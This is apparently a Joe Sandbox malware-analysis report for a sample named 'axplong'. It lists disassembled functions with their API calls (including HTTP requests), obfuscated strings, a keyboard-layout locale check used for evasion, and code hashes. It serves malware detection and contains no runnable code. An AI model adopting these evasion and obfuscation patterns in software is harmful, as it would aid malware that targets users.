Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: f42bffdda09770a31a4931a270bb2fa14bd317bc5a7f19849c3d79cfa9f5dedb
Instruction ID: 9c83c3a49161e1c2325462bbfce87d56b03f87072fb9a9b662903ba616486585
Opcode Fuzzy Hash: f42bffdda09770a31a4931a270bb2fa14bd317bc5a7f19849c3d79cfa9f5dedb
Instruction Fuzzy Hash: AD519AB1E00A458FDB19CF5AD8857AEBBF4FB18311F24852AD805EB390E3789944DF54

Function 004E46C0 Relevance: 40.0, APIs: 1, Strings: 24, Instructions: 2484COMMON

Download Yara Rule

Strings

WJP6, xrefs: 004E53A3
9526, xrefs: 004E531D
aZT6, xrefs: 004E53CC
-S, xrefs: 004E4F3A
($, xrefs: 004E5070
Fz==, xrefs: 004E4D2D
9KN6, xrefs: 004E5351
6F9fr==, xrefs: 004E4712
JB6, xrefs: 004E53F5
V0x6, xrefs: 004E541E
8ZF6, xrefs: 004E5502
Vp 6, xrefs: 004E5447
KFT0PL==, xrefs: 004E54B9
`1, xrefs: 004E4A35, 004E63B1, 004E63C8, 004E640A, 004E6414, 004E6680, 004E6697, 004E66D9, 004E66E3
96B6, xrefs: 004E5470
MJF+, xrefs: 004E47BD, 004E48EC, 004E4ADC, 004E4C0B
stoi argument out of range, xrefs: 004E4EAC
5F6, xrefs: 004E5497
aqB6, xrefs: 004E54DB
MJB+, xrefs: 004E4776, 004E47ED, 004E4A95, 004E4B0C
246122658369, xrefs: 004E4F4D, 004E4F8F, 004E4F99, 004E54F4
mP=, xrefs: 004E6383, 004E6652
V0N6, xrefs: 004E537A
fed3aa, xrefs: 004E5489

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequest
String ID: 5F6$ 6F9fr==$ JB6$ mP=$($$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$`1$aZT6$aqB6$fed3aa$stoi argument out of range$-S
API String ID: 3545240790-1863328370
Opcode ID: 054571edf2e9dffc88de57c9d3d9e931010c7330f9abdfa90407ebed4553effe
Instruction ID: a42ddb781d4987625676d0432b4d556e5187ed91703db39159ee75a36b5f2573
Opcode Fuzzy Hash: 054571edf2e9dffc88de57c9d3d9e931010c7330f9abdfa90407ebed4553effe
Instruction Fuzzy Hash: 4B234670D001989BEB19DB29CD8979DBB72AF92309F5081DEE008A72C6DB395F84CF55

Function 004E2E20 Relevance: 36.3, APIs: 5, Strings: 15, Instructions: 1325COMMON

Download Yara Rule

APIs

Part of subcall function 004E7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 004E795C
Part of subcall function 004E7870: __Cnd_destroy_in_situ.LIBCPMT ref: 004E7968
Part of subcall function 004E7870: __Mtx_destroy_in_situ.LIBCPMT ref: 004E7971

std::_Xinvalid_argument.LIBCPMT ref: 004E425F

Strings

", xrefs: 004E3E99
WWt=, xrefs: 004E1E88, 004E2A26, 004E2E6E
Fz==, xrefs: 004E369E
invalid stoi argument, xrefs: 004E2DE9, 004E2DF8, 004E425A
HBhr, xrefs: 004E378F
WJms, xrefs: 004E3BD9
V5Qk, xrefs: 004E3DC0
8KG0fCKZFzY=, xrefs: 004E2F64
8KG0fymoFx==, xrefs: 004E2EC7, 004E3136
5120, xrefs: 004E3ABF, 004E3BAA
stoi argument out of range, xrefs: 004E2E02, 004E4269
246122658369, xrefs: 004E1EA5, 004E27EE, 004E2A43, 004E2AB0, 004E2E88, 004E3373, 004E33D4
W07l, xrefs: 004E3AEE
WWp=, xrefs: 004E2A93, 004E3359
WGt=, xrefs: 004E27D1, 004E33BA

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$246122658369$5120$8KG0fCKZFzY=$8KG0fymoFx==$Fz==$HBhr$V5Qk$W07l$WGt=$WJms$WWp=$WWt=$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-2030321068
Opcode ID: 3c1f5f5c75759cfad4417e0576ddd9000431cbc24304cee1de118fc5bc748345
Instruction ID: ac9628f61adc6087ec48af6534eb3c4d38c916ca4b82b19d39c6d7913d22f58d
Opcode Fuzzy Hash: 3c1f5f5c75759cfad4417e0576ddd9000431cbc24304cee1de118fc5bc748345
Instruction Fuzzy Hash: 2CB24770E002889BDF19EF6ACD4A79DBB71AF46305F50418EE405A73C2D7399B84CB96

Function 004D5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 004D5FA8
00000422, xrefs: 004D5FD9
Keyboard Layout\Preload, xrefs: 004D5F64
00000423, xrefs: 004D600A
0000043f, xrefs: 004D603B

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 71304b03f1671fd82a94c0f0eac2db0087d037fd4e61a78bc23eb12ff8f1c856
Instruction ID: 4e5a0920029cce551abf9fb0a6431914890bee1077449d9f7e9bc13a482dcd86
Opcode Fuzzy Hash: 71304b03f1671fd82a94c0f0eac2db0087d037fd4e61a78bc23eb12ff8f1c856
Instruction Fuzzy Hash: E5E1A171900158BBEB24DF94CC98BEEB779AF05304F5042DAE508A7291DB78ABC8CF55

Function 004D7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 004D7EA3

Strings

JmpyPb==, xrefs: 004D810A
JmpxQb==, xrefs: 004D81B2
JmpxRL==, xrefs: 004D8062

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 05e5003c56f78108c293aa0a8272748e7369d79e187c2317a83815f164a0e371
Instruction ID: 0738080f67ded64260d00531077fe05601507230e64c9225041ee6a430b99f18
Opcode Fuzzy Hash: 05e5003c56f78108c293aa0a8272748e7369d79e187c2317a83815f164a0e371
Instruction Fuzzy Hash: 7ED1F671E00604ABDB14BB29DD6A3AD7B71AB42324F5042CFE415AB3C2DF395E8487D6

Function 00506E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00506E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 00506E7D
__dosmaperr.LIBCMT ref: 00506F12

Part of subcall function 00507177: __dosmaperr.LIBCMT ref: 005071AC

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: ec0e40ba531b3ea171e72b75e711db10ae40a9ac3ee379be34db50129a9fedcc
Instruction ID: 9bc8a88bd1ff88c82aeb53423d1d9f7d08868efc7fe00eb0ceb18eb2b1227ced
Opcode Fuzzy Hash: ec0e40ba531b3ea171e72b75e711db10ae40a9ac3ee379be34db50129a9fedcc
Instruction Fuzzy Hash: A2415E7590024AABDF24EFB5E8459AFBBF9FF88300B10452DF556D3690EA30A914CB61

Function 004D82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 004D8454

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 99589e8f523a0d7104298d9e2df1594d3eceba4f5d9f903551b5ad098b457641
Instruction ID: 35f63b23034269dc83f1ff3ddb8461de9b549f2463258bdf7b7e837123758921
Opcode Fuzzy Hash: 99589e8f523a0d7104298d9e2df1594d3eceba4f5d9f903551b5ad098b457641
Instruction Fuzzy Hash: 13512870D00218ABEB14EB29CD597EEB775EF46314F50429FE808A73C1EF395A808B95

Function 00506C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a5062bcad2142bc81aebb6539c92d5379bafd39cd60b33532a2546a0f8a266e
Instruction ID: 8403349aa6f7858f2fcfe3f237baed49c377c27bd79547c59684fc720a1bb1d5
Opcode Fuzzy Hash: 1a5062bcad2142bc81aebb6539c92d5379bafd39cd60b33532a2546a0f8a266e
Instruction Fuzzy Hash: 51210772A012097BEF11BB649C46B9F3F69BF81378F200311F9243B1D1DB70AE1596A2

Function 00506F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00506FB3

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: af7fb4b5461ef13f0a180567b39897da306835076ee6d0f62672f741e431d49c
Instruction ID: 0d0d7b77ca1c5c40dd9aeb51b227f96b0fbf54b6a9fca1b7c4e9e10c26d83f99
Opcode Fuzzy Hash: af7fb4b5461ef13f0a180567b39897da306835076ee6d0f62672f741e431d49c
Instruction Fuzzy Hash: 30111F7290020DAADB00EF95D844EDFBBBCAF08310F505266E515E2180E730EB58CB61

Function 0050AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,4B39C844,?,?,004ED32C,4B39C844,?,004E78FB,?,?,?,?,?,?,004D7435,?), ref: 0050AF3E

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f7698ef167330c8d698796280a69623e8112cbfcd84df343a5dbd759796b4933
Instruction ID: d1fbc5d1d857ba5843508a188cb377e4adbf5a3cdfa41daf2dd47d28a5b6bdfb
Opcode Fuzzy Hash: f7698ef167330c8d698796280a69623e8112cbfcd84df343a5dbd759796b4933
Instruction Fuzzy Hash: ECE022BE60A3236AEB3032355C45B6F3E8CBF823B1F090050AC04961C1DFA0CC0092E3

Function 04EE0DC2 Relevance: 1.3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kZX], xrefs: 04EE0DD4

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID: kZX]
API String ID: 0-3421568621
Opcode ID: b191f4f17e59239aba2f5a8e7e03cbab3a93f39ea0f5e5cf438cd079ebacb3d3
Instruction ID: 88960ce51f663b1fe613682cc5393c8f337c7cee1ee8896f966376f98db0bfe2
Opcode Fuzzy Hash: b191f4f17e59239aba2f5a8e7e03cbab3a93f39ea0f5e5cf438cd079ebacb3d3
Instruction Fuzzy Hash: E3F04FBB24D1216EB101D4637B69EFBA76DE6C1B30331D92BF842C4006E3D5AA4E2271

Function 004E6AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 004E6B65

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e5428895954f023972a8a01abe4582245e4f6279e4bda8a9edfa1734860bb863
Instruction ID: 737bcc0d70d70f12de782df546c06588696242e05419d493c350a435f62c4f04
Opcode Fuzzy Hash: e5428895954f023972a8a01abe4582245e4f6279e4bda8a9edfa1734860bb863
Instruction Fuzzy Hash: 99F0F431E00A44ABC700BB7AAC17B1DBB74BB17765F80034EE811673E1DA386A0487D7

Function 04EE0CF1 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d9f9f3e818964ff20f5d7d533318faf3320a11ab60dbab05ef4a28a8b0b55d
Instruction ID: 8fa694eb03d45c0f8325bc2a9bf27f8cd521a7e2ada556b88cab324826a4c4ea
Opcode Fuzzy Hash: b1d9f9f3e818964ff20f5d7d533318faf3320a11ab60dbab05ef4a28a8b0b55d
Instruction Fuzzy Hash: 2F01A9F720C221BEB101C5827B64EFB636DE6D6730331D82BF406C5105E6D9AA493231

Function 04EE0CFD Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ca5ba09d151cc81e748cfc40d8a85d0f40f228a7e105e79b109abc440bf830
Instruction ID: 63996be4bed63bebd774a4c748c90010a239945bcc221984be015a5d779a1fc8
Opcode Fuzzy Hash: 31ca5ba09d151cc81e748cfc40d8a85d0f40f228a7e105e79b109abc440bf830
Instruction Fuzzy Hash: AA01DAFB20D2657EB101C5823F64EFB676CE6C5730371D83BF806C5405E299AA4E6231

Function 04EE0D0F Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cb155b7451962d9a51163adbdaeb9ff66372b57348e6edd414e0ffec77d7d4f
Instruction ID: 70edd5188464eae484cfc58304e0ef64c4257dc0533043ff556301c4b98e857c
Opcode Fuzzy Hash: 5cb155b7451962d9a51163adbdaeb9ff66372b57348e6edd414e0ffec77d7d4f
Instruction Fuzzy Hash: 1801A8FB24C2217EB101C5827F64EFB576CE6D5B30371D82BF406C5405E299AA4E2131

Function 04EE0D32 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 502321849e7cfa97c5181456ebee9a2cc0087cd546ee84dd6c4c89e24a6f6c10
Instruction ID: aa1ba69b37b7088b817a0a2c64eef836c900b3bc6dea9af6256f6fe7479a5188
Opcode Fuzzy Hash: 502321849e7cfa97c5181456ebee9a2cc0087cd546ee84dd6c4c89e24a6f6c10
Instruction Fuzzy Hash: 7DF0A4EB24C1216EB101C0433F24EFB536CE1C4B303B1D82BF806C5805E289AA4E2631

